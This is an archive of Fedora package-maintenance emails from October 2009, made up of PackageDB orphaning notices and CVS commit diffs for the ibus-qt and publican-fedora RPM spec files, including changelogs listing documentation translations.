  /pkgdb/packages/name/clutter-gtkmm



From pkgdb at fedoraproject.org  Mon Oct  5 07:52:39 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 07:52:39 +0000
Subject: [pkgdb] clutter-gtkmm ownership updated
Message-ID: <20091005075239.353BB10F88F@bastion2.fedora.phx.redhat.com>

Package clutter-gtkmm in Fedora 9 was orphaned by denis

To make changes to this package see:
  /pkgdb/packages/name/clutter-gtkmm



From pkgdb at fedoraproject.org  Mon Oct  5 07:52:40 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 07:52:40 +0000
Subject: [pkgdb] clutter-gtkmm ownership updated
Message-ID: <20091005075240.57F3610F89C@bastion2.fedora.phx.redhat.com>

Package clutter-gtkmm in Fedora 10 was orphaned by denis

To make changes to this package see:
  /pkgdb/packages/name/clutter-gtkmm



From pkgdb at fedoraproject.org  Mon Oct  5 07:52:42 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 07:52:42 +0000
Subject: [pkgdb] clutter-gtkmm ownership updated
Message-ID: <20091005075242.4B00210F84D@bastion2.fedora.phx.redhat.com>

Package clutter-gtkmm in Fedora 11 was orphaned by denis

To make changes to this package see:
  /pkgdb/packages/name/clutter-gtkmm



From pkgdb at fedoraproject.org  Mon Oct  5 07:52:43 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 07:52:43 +0000
Subject: [pkgdb] clutter-gtkmm ownership updated
Message-ID: <20091005075243.76BFB10F88F@bastion2.fedora.phx.redhat.com>

Package clutter-gtkmm in Fedora 12 was orphaned by denis

To make changes to this package see:
  /pkgdb/packages/name/clutter-gtkmm



From pkgdb at fedoraproject.org  Mon Oct  5 07:52:50 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 07:52:50 +0000
Subject: [pkgdb] clutter-cairomm ownership updated
Message-ID: <20091005075250.A9FB310F89C@bastion2.fedora.phx.redhat.com>

Package clutter-cairomm in Fedora devel was orphaned by denis

To make changes to this package see:
  /pkgdb/packages/name/clutter-cairomm



From petersen at fedoraproject.org  Mon Oct  5 07:52:48 2009
From: petersen at fedoraproject.org (Jens Petersen)
Date: Mon,  5 Oct 2009 07:52:48 +0000 (UTC)
Subject: rpms/ibus-qt/F-11 ibus-qt.spec, NONE, 1.1 .cvsignore, 1.1,
	1.2 sources, 1.1, 1.2
Message-ID: <20091005075248.1721E11C00DB@cvs1.fedora.phx.redhat.com>

Author: petersen

Update of /cvs/pkgs/rpms/ibus-qt/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11255

Modified Files:
	.cvsignore sources 
Added Files:
	ibus-qt.spec 
Log Message:
import from F-12


--- NEW FILE ibus-qt.spec ---
Name:       ibus-qt
Version:    1.2.0.20090822
Release:    2%{?dist}
Summary:    Qt IBus library and Qt input method plugin
License:    GPLv2+
Group:      System Environment/Libraries
URL:        http://code.google.com/p/ibus/
Source0:    http://ibus.googlecode.com/files/%{name}-%{version}-Source.tar.gz

BuildRoot:  %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildRequires:  cmake
BuildRequires:  qt-devel >= 4.5
BuildRequires:  dbus-devel >= 1.2
BuildRequires:  ibus-devel >= 1.2
BuildRequires:  libicu-devel >= 4.0
Requires:   ibus >= 1.2

%description
Qt IBus library and Qt input method plugin.

%package devel
Summary:    Development tools for ibus qt
Group:      Development/Libraries
Requires:   %{name} = %{version}-%{release}

%description devel
The ibus-qt-devel package contains the header files for ibus qt library.

%prep
%setup -q -n %{name}-%{version}-Source

%build
%cmake \
    -DCMAKE_INSTALL_PREFIX=%{_usr} \
    -DLIBDIR=%{_libdir}
make \
    VERBOSE=1 \
    C_DEFINES="$RPM_OPT_FLAGS" \
    CXX_DEFINES="$RPM_OPT_FLAGS" \
    %{?_smp_mflags}

%install
rm -rf $RPM_BUILD_ROOT
make install DESTDIR=$RPM_BUILD_ROOT
# %find_lang %{name}

%post -p /sbin/ldconfig

%postun -p /sbin/ldconfig

%clean
rm -rf $RPM_BUILD_ROOT

%files
# -f %{name}.lang
%defattr(-,root,root,-)
%doc AUTHORS README INSTALL
%{_libdir}/libibus-qt.so.*
%{_libdir}/qt4/plugins/inputmethods/libqtim-ibus.so

%files devel
%defattr(-,root,root,-)
%{_includedir}/*
%{_libdir}/libibus-qt.so

%changelog
* Sat Aug 22 2009 Peng Huang <shawn.p.huang at gmail.com> - 1.2.0.20090822-2
- Update the tarball
- Link qt immodule with libicu

* Sat Aug 22 2009 Peng Huang <shawn.p.huang at gmail.com> - 1.2.0.20090822-1
- Update to 1.2.0.2009822
- Fix compose key problem.

* Mon Jul 27 2009 Peng Huang <shawn.p.huang at gmail.com> - 1.2.0.20090728-1
- The first version.


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/ibus-qt/F-11/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	11 Aug 2009 05:06:58 -0000	1.1
+++ .cvsignore	5 Oct 2009 07:52:47 -0000	1.2
@@ -0,0 +1 @@
+ibus-qt-1.2.0.20090822-Source.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/ibus-qt/F-11/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	11 Aug 2009 05:06:58 -0000	1.1
+++ sources	5 Oct 2009 07:52:47 -0000	1.2
@@ -0,0 +1 @@
+15ec039e2a2f92a6c9075b6c10a2dc57  ibus-qt-1.2.0.20090822-Source.tar.gz



From pkgdb at fedoraproject.org  Mon Oct  5 07:52:52 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 07:52:52 +0000
Subject: [pkgdb] clutter-cairomm ownership updated
Message-ID: <20091005075252.0BD9610F84D@bastion2.fedora.phx.redhat.com>

Package clutter-cairomm in Fedora 9 was orphaned by denis

To make changes to this package see:
  /pkgdb/packages/name/clutter-cairomm



From pkgdb at fedoraproject.org  Mon Oct  5 07:52:53 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 07:52:53 +0000
Subject: [pkgdb] clutter-cairomm ownership updated
Message-ID: <20091005075253.DF82210F88F@bastion2.fedora.phx.redhat.com>

Package clutter-cairomm in Fedora 10 was orphaned by denis

To make changes to this package see:
  /pkgdb/packages/name/clutter-cairomm



From pkgdb at fedoraproject.org  Mon Oct  5 07:52:55 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 07:52:55 +0000
Subject: [pkgdb] clutter-cairomm ownership updated
Message-ID: <20091005075255.70F6710F8A8@bastion2.fedora.phx.redhat.com>

Package clutter-cairomm in Fedora 11 was orphaned by denis

To make changes to this package see:
  /pkgdb/packages/name/clutter-cairomm



From pkgdb at fedoraproject.org  Mon Oct  5 07:52:56 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 07:52:56 +0000
Subject: [pkgdb] clutter-cairomm ownership updated
Message-ID: <20091005075256.D294F10F8AB@bastion2.fedora.phx.redhat.com>

Package clutter-cairomm in Fedora 12 was orphaned by denis

To make changes to this package see:
  /pkgdb/packages/name/clutter-cairomm



From rlandmann at fedoraproject.org  Mon Oct  5 07:59:59 2009
From: rlandmann at fedoraproject.org (=?utf-8?q?R=C3=BCdiger_Landmann?=)
Date: Mon,  5 Oct 2009 07:59:59 +0000 (UTC)
Subject: rpms/publican-fedora/F-10 import.log, NONE, 1.1 .cvsignore, 1.7,
	1.8 publican-fedora.spec, 1.9, 1.10 sources, 1.10, 1.11
Message-ID: <20091005075959.622CA11C00DB@cvs1.fedora.phx.redhat.com>

Author: rlandmann

Update of /cvs/pkgs/rpms/publican-fedora/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14451/F-10

Modified Files:
	.cvsignore publican-fedora.spec sources 
Added Files:
	import.log 
Log Message:
* Mon Oct 5 2009 R?diger Landmann <r.landmann at redhat.com> 0.19-1
- Update Legal Notice for CC-BY-SA-3.0 Unported, plus other tweaks per Red Hat legal
- Add Fedora logos with correct trademarks. BZ #492041
- Sat Oct 3 2009 Maxim V. Dziumanenko <dziumanenko at gmail.com>
- Translate Fedora Feedback into Ukrainian
- Fri Sep 4 2009 Ville-Pekka Vainio <vpivaini at cs.helsinki.fi>
- Translate Fedora Feedback into Finnish
- Sun Aug 9 2009 Josip ?ume?ki <shumi.1337 at gmail.com>
- Translate Fedora Feedback into Croatian
- Sun Aug 9 2009 Robert Buj <robert.buj at gmail.com>
- Translate Fedora Feedback into Catalan
- Sun Jun 15 2009 Sindre Wetjen <sindre.w at gmail.com>
- Translate Fedora Feedback into Norwegian (Bokm?l)
- Fri Jun 05 2009 Oron Peled <oron at actcom.co.il>
- Translate Fedora Feedback into Hebrew
- Thu Jun 04 2009 Jurijs Kolomijecs <admin at irben.id.lv>
- Translate Fedora Feedback into Latvian
- Mon May 25 2009 Nikola ?tohanzl <niko at srnet.cz>
- Translate Fedora Feedback into Czech
- Sun May 10 2009 Pavol ?imo <palo.simo at gmail.com>
- Translate Fedora Feedback into Slovak 
- Fri May 08 2009 Arnes Arnautovi? <arnes99 at gmail.com>
- Translate Fedora Feedback into Bosnian
- Sun Apr 19 2009 Manatsawin Hanmongkolchai <manatsawin at gmail.com>
- Translate Fedora Feedback into Thai
- Thu Apr 16 2009 Sveinn ? Felli <sveinki at nett.is>
- Translate Fedora Feedback into Icelandic
- Wed Apr 08 2009 Sulyok Peti <sulyokpeti at gmail.com>
- Translate Fedora Feedback into Hungarian
- Mon Mar 23 2009 G?ran Uddeborg <goeran at uddeborg.se>
- Translate Fedora Feedback into Swedish
- Fri Mar 20 2009  Noriko Mizumoto <noriko at redhat.com> 
- Update Fedora Feedback in Japanese
- Thu Mar 19 2009 Kris Thomsen <lakristho at gmail.com>
- Translate Fedora Feedback into Danish
- Fri Mar 13 2009  Jeff Fearn <jfearn at redhat.com> 
- Fix right to left fo ar-AR. BZ #486162
- Patches and translations by Muayyad Alsadi <alsadi at ojuba.org> 
- Tue Mar 10 2009 Alexey Vasyukov <vasyukov at vdel.com>
- Translate Fedora Feedback into Russian




--- NEW FILE import.log ---
publican-fedora-0_19-1_fc11:F-10:publican-fedora-0.19-1.fc11.src.rpm:1254729469


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/publican-fedora/F-10/.cvsignore,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- .cvsignore	10 Sep 2008 01:27:42 -0000	1.7
+++ .cvsignore	5 Oct 2009 07:59:47 -0000	1.8
@@ -1,5 +1 @@
-publican-fedora-0.10.tgz
-publican-fedora-0.11.tgz
-publican-fedora-0.12.tgz
-publican-fedora-0.13.tgz
-publican-fedora-0.15.tgz
+publican-fedora-0.19.tgz


Index: publican-fedora.spec
===================================================================
RCS file: /cvs/pkgs/rpms/publican-fedora/F-10/publican-fedora.spec,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- publican-fedora.spec	18 Mar 2009 23:20:43 -0000	1.9
+++ publican-fedora.spec	5 Oct 2009 07:59:55 -0000	1.10
@@ -2,8 +2,8 @@
 
 Name:		publican-%{brand}
 Summary:	Publican documentation template files for %{brand}
-Version:	0.18
-Release:	0%{?dist}
+Version:	0.19
+Release:	1%{?dist}
 License:	Open Publication 
 Group:		Development/Libraries
 Buildroot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
@@ -49,6 +49,50 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/publican/xsl/%{brand}
 
 %changelog
+* Mon Oct 5 2009 R?diger Landmann <r.landmann at redhat.com> 0.19-1
+- Update Legal Notice for CC-BY-SA-3.0 Unported, plus other tweaks per Red Hat legal
+- Add Fedora logos with correct trademarks. BZ #492041
+- Sat Oct 3 2009 Maxim V. Dziumanenko <dziumanenko at gmail.com>
+- Translate Fedora Feedback into Ukrainian
+- Fri Sep 4 2009 Ville-Pekka Vainio <vpivaini at cs.helsinki.fi>
+- Translate Fedora Feedback into Finnish
+- Sun Aug 9 2009 Josip ?ume?ki <shumi.1337 at gmail.com>
+- Translate Fedora Feedback into Croatian
+- Sun Aug 9 2009 Robert Buj <robert.buj at gmail.com>
+- Translate Fedora Feedback into Catalan
+- Sun Jun 15 2009 Sindre Wetjen <sindre.w at gmail.com>
+- Translate Fedora Feedback into Norwegian (Bokm?l)
+- Fri Jun 05 2009 Oron Peled <oron at actcom.co.il>
+- Translate Fedora Feedback into Hebrew
+- Thu Jun 04 2009 Jurijs Kolomijecs <admin at irben.id.lv>
+- Translate Fedora Feedback into Latvian
+- Mon May 25 2009 Nikola ?tohanzl <niko at srnet.cz>
+- Translate Fedora Feedback into Czech
+- Sun May 10 2009 Pavol ?imo <palo.simo at gmail.com>
+- Translate Fedora Feedback into Slovak 
+- Fri May 08 2009 Arnes Arnautovi? <arnes99 at gmail.com>
+- Translate Fedora Feedback into Bosnian
+- Sun Apr 19 2009 Manatsawin Hanmongkolchai <manatsawin at gmail.com>
+- Translate Fedora Feedback into Thai
+- Thu Apr 16 2009 Sveinn ? Felli <sveinki at nett.is>
+- Translate Fedora Feedback into Icelandic
+- Wed Apr 08 2009 Sulyok Peti <sulyokpeti at gmail.com>
+- Translate Fedora Feedback into Hungarian
+- Mon Mar 23 2009 G?ran Uddeborg <goeran at uddeborg.se>
+- Translate Fedora Feedback into Swedish
+- Fri Mar 20 2009  Noriko Mizumoto <noriko at redhat.com> 
+- Update Fedora Feedback in Japanese
+- Thu Mar 19 2009 Kris Thomsen <lakristho at gmail.com>
+- Translate Fedora Feedback into Danish
+- Fri Mar 13 2009  Jeff Fearn <jfearn at redhat.com> 
+- Fix right to left fo ar-AR. BZ #486162
+- Patches and translations by Muayyad Alsadi <alsadi at ojuba.org> 
+- Tue Mar 10 2009 Alexey Vasyukov <vasyukov at vdel.com>
+- Translate Fedora Feedback into Russian
+
+* Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.18-1
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
 * Mon Mar 9 2009  Jeff Fearn <jfearn at redhat.com> 0.18
 - Add symlinks for langauges without country codes. BZ #487256
 - Fri Mar 6 2009 Piotr Dr?g <piotrdrag at gmail.com>


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/publican-fedora/F-10/sources,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- sources	18 Mar 2009 23:20:43 -0000	1.10
+++ sources	5 Oct 2009 07:59:55 -0000	1.11
@@ -1 +1 @@
-ff5bba9d023dae42497c5fd5f2d1be25  publican-fedora-0.18.tgz
+e4aeb1764fa22dfb6c986a0a6fb35aa5  publican-fedora-0.19.tgz



From rlandmann at fedoraproject.org  Mon Oct  5 08:02:05 2009
From: rlandmann at fedoraproject.org (=?utf-8?q?R=C3=BCdiger_Landmann?=)
Date: Mon,  5 Oct 2009 08:02:05 +0000 (UTC)
Subject: rpms/publican-fedora/F-12 import.log, NONE, 1.1 .cvsignore, 1.10,
	1.11 publican-fedora.spec, 1.11, 1.12 sources, 1.10, 1.11
Message-ID: <20091005080205.39E0A11C0298@cvs1.fedora.phx.redhat.com>

Author: rlandmann

Update of /cvs/pkgs/rpms/publican-fedora/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15725/F-12

Modified Files:
	.cvsignore publican-fedora.spec sources 
Added Files:
	import.log 
Log Message:
* Mon Oct 5 2009 R?diger Landmann <r.landmann at redhat.com> 0.19-1
- Update Legal Notice for CC-BY-SA-3.0 Unported, plus other tweaks per Red Hat legal
- Add Fedora logos with correct trademarks. BZ #492041
- Sat Oct 3 2009 Maxim V. Dziumanenko <dziumanenko at gmail.com>
- Translate Fedora Feedback into Ukrainian
- Fri Sep 4 2009 Ville-Pekka Vainio <vpivaini at cs.helsinki.fi>
- Translate Fedora Feedback into Finnish
- Sun Aug 9 2009 Josip ?ume?ki <shumi.1337 at gmail.com>
- Translate Fedora Feedback into Croatian
- Sun Aug 9 2009 Robert Buj <robert.buj at gmail.com>
- Translate Fedora Feedback into Catalan
- Sun Jun 15 2009 Sindre Wetjen <sindre.w at gmail.com>
- Translate Fedora Feedback into Norwegian (Bokm?l)
- Fri Jun 05 2009 Oron Peled <oron at actcom.co.il>
- Translate Fedora Feedback into Hebrew
- Thu Jun 04 2009 Jurijs Kolomijecs <admin at irben.id.lv>
- Translate Fedora Feedback into Latvian
- Mon May 25 2009 Nikola ?tohanzl <niko at srnet.cz>
- Translate Fedora Feedback into Czech
- Sun May 10 2009 Pavol ?imo <palo.simo at gmail.com>
- Translate Fedora Feedback into Slovak 
- Fri May 08 2009 Arnes Arnautovi? <arnes99 at gmail.com>
- Translate Fedora Feedback into Bosnian
- Sun Apr 19 2009 Manatsawin Hanmongkolchai <manatsawin at gmail.com>
- Translate Fedora Feedback into Thai
- Thu Apr 16 2009 Sveinn ? Felli <sveinki at nett.is>
- Translate Fedora Feedback into Icelandic
- Wed Apr 08 2009 Sulyok Peti <sulyokpeti at gmail.com>
- Translate Fedora Feedback into Hungarian
- Mon Mar 23 2009 G?ran Uddeborg <goeran at uddeborg.se>
- Translate Fedora Feedback into Swedish
- Fri Mar 20 2009  Noriko Mizumoto <noriko at redhat.com> 
- Update Fedora Feedback in Japanese
- Thu Mar 19 2009 Kris Thomsen <lakristho at gmail.com>
- Translate Fedora Feedback into Danish
- Fri Mar 13 2009  Jeff Fearn <jfearn at redhat.com> 
- Fix right to left fo ar-AR. BZ #486162
- Patches and translations by Muayyad Alsadi <alsadi at ojuba.org> 
- Tue Mar 10 2009 Alexey Vasyukov <vasyukov at vdel.com>
- Translate Fedora Feedback into Russian




--- NEW FILE import.log ---
publican-fedora-0_19-1_fc11:F-12:publican-fedora-0.19-1.fc11.src.rpm:1254729620


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/publican-fedora/F-12/.cvsignore,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- .cvsignore	12 Mar 2009 06:44:53 -0000	1.10
+++ .cvsignore	5 Oct 2009 08:02:02 -0000	1.11
@@ -1 +1 @@
-publican-fedora-0.18.tgz
+publican-fedora-0.19.tgz


Index: publican-fedora.spec
===================================================================
RCS file: /cvs/pkgs/rpms/publican-fedora/F-12/publican-fedora.spec,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- publican-fedora.spec	26 Jul 2009 19:38:30 -0000	1.11
+++ publican-fedora.spec	5 Oct 2009 08:02:03 -0000	1.12
@@ -2,7 +2,7 @@
 
 Name:		publican-%{brand}
 Summary:	Publican documentation template files for %{brand}
-Version:	0.18
+Version:	0.19
 Release:	1%{?dist}
 License:	Open Publication 
 Group:		Development/Libraries
@@ -49,6 +49,47 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/publican/xsl/%{brand}
 
 %changelog
+* Mon Oct 5 2009 R?diger Landmann <r.landmann at redhat.com> 0.19-1
+- Update Legal Notice for CC-BY-SA-3.0 Unported, plus other tweaks per Red Hat legal
+- Add Fedora logos with correct trademarks. BZ #492041
+- Sat Oct 3 2009 Maxim V. Dziumanenko <dziumanenko at gmail.com>
+- Translate Fedora Feedback into Ukrainian
+- Fri Sep 4 2009 Ville-Pekka Vainio <vpivaini at cs.helsinki.fi>
+- Translate Fedora Feedback into Finnish
+- Sun Aug 9 2009 Josip ?ume?ki <shumi.1337 at gmail.com>
+- Translate Fedora Feedback into Croatian
+- Sun Aug 9 2009 Robert Buj <robert.buj at gmail.com>
+- Translate Fedora Feedback into Catalan
+- Sun Jun 15 2009 Sindre Wetjen <sindre.w at gmail.com>
+- Translate Fedora Feedback into Norwegian (Bokm?l)
+- Fri Jun 05 2009 Oron Peled <oron at actcom.co.il>
+- Translate Fedora Feedback into Hebrew
+- Thu Jun 04 2009 Jurijs Kolomijecs <admin at irben.id.lv>
+- Translate Fedora Feedback into Latvian
+- Mon May 25 2009 Nikola ?tohanzl <niko at srnet.cz>
+- Translate Fedora Feedback into Czech
+- Sun May 10 2009 Pavol ?imo <palo.simo at gmail.com>
+- Translate Fedora Feedback into Slovak 
+- Fri May 08 2009 Arnes Arnautovi? <arnes99 at gmail.com>
+- Translate Fedora Feedback into Bosnian
+- Sun Apr 19 2009 Manatsawin Hanmongkolchai <manatsawin at gmail.com>
+- Translate Fedora Feedback into Thai
+- Thu Apr 16 2009 Sveinn ? Felli <sveinki at nett.is>
+- Translate Fedora Feedback into Icelandic
+- Wed Apr 08 2009 Sulyok Peti <sulyokpeti at gmail.com>
+- Translate Fedora Feedback into Hungarian
+- Mon Mar 23 2009 G?ran Uddeborg <goeran at uddeborg.se>
+- Translate Fedora Feedback into Swedish
+- Fri Mar 20 2009  Noriko Mizumoto <noriko at redhat.com> 
+- Update Fedora Feedback in Japanese
+- Thu Mar 19 2009 Kris Thomsen <lakristho at gmail.com>
+- Translate Fedora Feedback into Danish
+- Fri Mar 13 2009  Jeff Fearn <jfearn at redhat.com> 
+- Fix right to left fo ar-AR. BZ #486162
+- Patches and translations by Muayyad Alsadi <alsadi at ojuba.org> 
+- Tue Mar 10 2009 Alexey Vasyukov <vasyukov at vdel.com>
+- Translate Fedora Feedback into Russian
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.18-1
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/publican-fedora/F-12/sources,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- sources	12 Mar 2009 06:44:53 -0000	1.10
+++ sources	5 Oct 2009 08:02:03 -0000	1.11
@@ -1 +1 @@
-ff5bba9d023dae42497c5fd5f2d1be25  publican-fedora-0.18.tgz
+e4aeb1764fa22dfb6c986a0a6fb35aa5  publican-fedora-0.19.tgz



From rlandmann at fedoraproject.org  Mon Oct  5 08:03:41 2009
From: rlandmann at fedoraproject.org (=?utf-8?q?R=C3=BCdiger_Landmann?=)
Date: Mon,  5 Oct 2009 08:03:41 +0000 (UTC)
Subject: rpms/publican-fedora/EL-4 import.log, NONE, 1.1 .cvsignore, 1.1,
	1.2 publican-fedora.spec, 1.1, 1.2 sources, 1.2, 1.3
Message-ID: <20091005080341.37EDE11C00DB@cvs1.fedora.phx.redhat.com>

Author: rlandmann

Update of /cvs/pkgs/rpms/publican-fedora/EL-4
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16824/EL-4

Modified Files:
	.cvsignore publican-fedora.spec sources 
Added Files:
	import.log 
Log Message:
* Mon Oct 5 2009 R?diger Landmann <r.landmann at redhat.com> 0.19-1
- Update Legal Notice for CC-BY-SA-3.0 Unported, plus other tweaks per Red Hat legal
- Add Fedora logos with correct trademarks. BZ #492041
- Sat Oct 3 2009 Maxim V. Dziumanenko <dziumanenko at gmail.com>
- Translate Fedora Feedback into Ukrainian
- Fri Sep 4 2009 Ville-Pekka Vainio <vpivaini at cs.helsinki.fi>
- Translate Fedora Feedback into Finnish
- Sun Aug 9 2009 Josip ?ume?ki <shumi.1337 at gmail.com>
- Translate Fedora Feedback into Croatian
- Sun Aug 9 2009 Robert Buj <robert.buj at gmail.com>
- Translate Fedora Feedback into Catalan
- Sun Jun 15 2009 Sindre Wetjen <sindre.w at gmail.com>
- Translate Fedora Feedback into Norwegian (Bokm?l)
- Fri Jun 05 2009 Oron Peled <oron at actcom.co.il>
- Translate Fedora Feedback into Hebrew
- Thu Jun 04 2009 Jurijs Kolomijecs <admin at irben.id.lv>
- Translate Fedora Feedback into Latvian
- Mon May 25 2009 Nikola ?tohanzl <niko at srnet.cz>
- Translate Fedora Feedback into Czech
- Sun May 10 2009 Pavol ?imo <palo.simo at gmail.com>
- Translate Fedora Feedback into Slovak 
- Fri May 08 2009 Arnes Arnautovi? <arnes99 at gmail.com>
- Translate Fedora Feedback into Bosnian
- Sun Apr 19 2009 Manatsawin Hanmongkolchai <manatsawin at gmail.com>
- Translate Fedora Feedback into Thai
- Thu Apr 16 2009 Sveinn ? Felli <sveinki at nett.is>
- Translate Fedora Feedback into Icelandic
- Wed Apr 08 2009 Sulyok Peti <sulyokpeti at gmail.com>
- Translate Fedora Feedback into Hungarian
- Mon Mar 23 2009 G?ran Uddeborg <goeran at uddeborg.se>
- Translate Fedora Feedback into Swedish
- Fri Mar 20 2009  Noriko Mizumoto <noriko at redhat.com> 
- Update Fedora Feedback in Japanese
- Thu Mar 19 2009 Kris Thomsen <lakristho at gmail.com>
- Translate Fedora Feedback into Danish
- Fri Mar 13 2009  Jeff Fearn <jfearn at redhat.com> 
- Fix right to left fo ar-AR. BZ #486162
- Patches and translations by Muayyad Alsadi <alsadi at ojuba.org> 
- Tue Mar 10 2009 Alexey Vasyukov <vasyukov at vdel.com>
- Translate Fedora Feedback into Russian




--- NEW FILE import.log ---
publican-fedora-0_19-1_fc11:EL-4:publican-fedora-0.19-1.fc11.src.rpm:1254729733


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/publican-fedora/EL-4/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	13 Feb 2008 23:53:29 -0000	1.1
+++ .cvsignore	5 Oct 2009 08:03:40 -0000	1.2
@@ -0,0 +1 @@
+publican-fedora-0.19.tgz


Index: publican-fedora.spec
===================================================================
RCS file: /cvs/pkgs/rpms/publican-fedora/EL-4/publican-fedora.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- publican-fedora.spec	23 Apr 2008 23:43:27 -0000	1.1
+++ publican-fedora.spec	5 Oct 2009 08:03:41 -0000	1.2
@@ -2,13 +2,13 @@
 
 Name:		publican-%{brand}
 Summary:	Publican documentation template files for %{brand}
-Version:	0.12
-Release:	0%{?dist}
+Version:	0.19
+Release:	1%{?dist}
 License:	Open Publication 
 Group:		Development/Libraries
 Buildroot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 Buildarch:	noarch
-Source:		http://svn.fedorahosted.org/svn/publican/trunk/Files/%{name}-%{version}.tgz
+Source:		https://fedorahosted.org/releases/p/u/publican/%{name}-%{version}.tgz
 Requires:	publican
 BuildRequires:	publican
 URL:		https://fedorahosted.org/publican
@@ -28,9 +28,13 @@ for %{brand} with publican.
 rm -rf $RPM_BUILD_ROOT
 mkdir -p -m755 $RPM_BUILD_ROOT%{_datadir}/publican/Templates
 mkdir -p -m755 $RPM_BUILD_ROOT%{_datadir}/publican/make
+mkdir -p -m755 $RPM_BUILD_ROOT%{_datadir}/publican/xsl/%{brand}
 cp -rf Common_Content $RPM_BUILD_ROOT%{_datadir}/publican/
 cp -rf Book_Template $RPM_BUILD_ROOT%{_datadir}/publican/Templates/%{brand}-Book_Template
+cp -rf Set_Template $RPM_BUILD_ROOT%{_datadir}/publican/Templates/%{brand}-Set_Template
+cp -rf Article_Template $RPM_BUILD_ROOT%{_datadir}/publican/Templates/%{brand}-Article_Template
 install -m 755 make/Makefile.%{brand} $RPM_BUILD_ROOT%{_datadir}/publican/make/.
+install -m 755 xsl/*.xsl $RPM_BUILD_ROOT%{_datadir}/publican/xsl/%{brand}/.
 
 %clean
 rm -rf $RPM_BUILD_ROOT
@@ -40,10 +44,92 @@ rm -rf $RPM_BUILD_ROOT
 %doc README
 %doc COPYING
 %{_datadir}/publican/Common_Content/%{brand}
-%{_datadir}/publican/Templates/%{brand}-Book_Template
+%{_datadir}/publican/Templates/%{brand}-*_Template
 %{_datadir}/publican/make/Makefile.%{brand}
+%{_datadir}/publican/xsl/%{brand}
 
 %changelog
+* Mon Oct 5 2009 R?diger Landmann <r.landmann at redhat.com> 0.19-1
+- Update Legal Notice for CC-BY-SA-3.0 Unported, plus other tweaks per Red Hat legal
+- Add Fedora logos with correct trademarks. BZ #492041
+- Sat Oct 3 2009 Maxim V. Dziumanenko <dziumanenko at gmail.com>
+- Translate Fedora Feedback into Ukrainian
+- Fri Sep 4 2009 Ville-Pekka Vainio <vpivaini at cs.helsinki.fi>
+- Translate Fedora Feedback into Finnish
+- Sun Aug 9 2009 Josip ?ume?ki <shumi.1337 at gmail.com>
+- Translate Fedora Feedback into Croatian
+- Sun Aug 9 2009 Robert Buj <robert.buj at gmail.com>
+- Translate Fedora Feedback into Catalan
+- Sun Jun 15 2009 Sindre Wetjen <sindre.w at gmail.com>
+- Translate Fedora Feedback into Norwegian (Bokm?l)
+- Fri Jun 05 2009 Oron Peled <oron at actcom.co.il>
+- Translate Fedora Feedback into Hebrew
+- Thu Jun 04 2009 Jurijs Kolomijecs <admin at irben.id.lv>
+- Translate Fedora Feedback into Latvian
+- Mon May 25 2009 Nikola ?tohanzl <niko at srnet.cz>
+- Translate Fedora Feedback into Czech
+- Sun May 10 2009 Pavol ?imo <palo.simo at gmail.com>
+- Translate Fedora Feedback into Slovak 
+- Fri May 08 2009 Arnes Arnautovi? <arnes99 at gmail.com>
+- Translate Fedora Feedback into Bosnian
+- Sun Apr 19 2009 Manatsawin Hanmongkolchai <manatsawin at gmail.com>
+- Translate Fedora Feedback into Thai
+- Thu Apr 16 2009 Sveinn ? Felli <sveinki at nett.is>
+- Translate Fedora Feedback into Icelandic
+- Wed Apr 08 2009 Sulyok Peti <sulyokpeti at gmail.com>
+- Translate Fedora Feedback into Hungarian
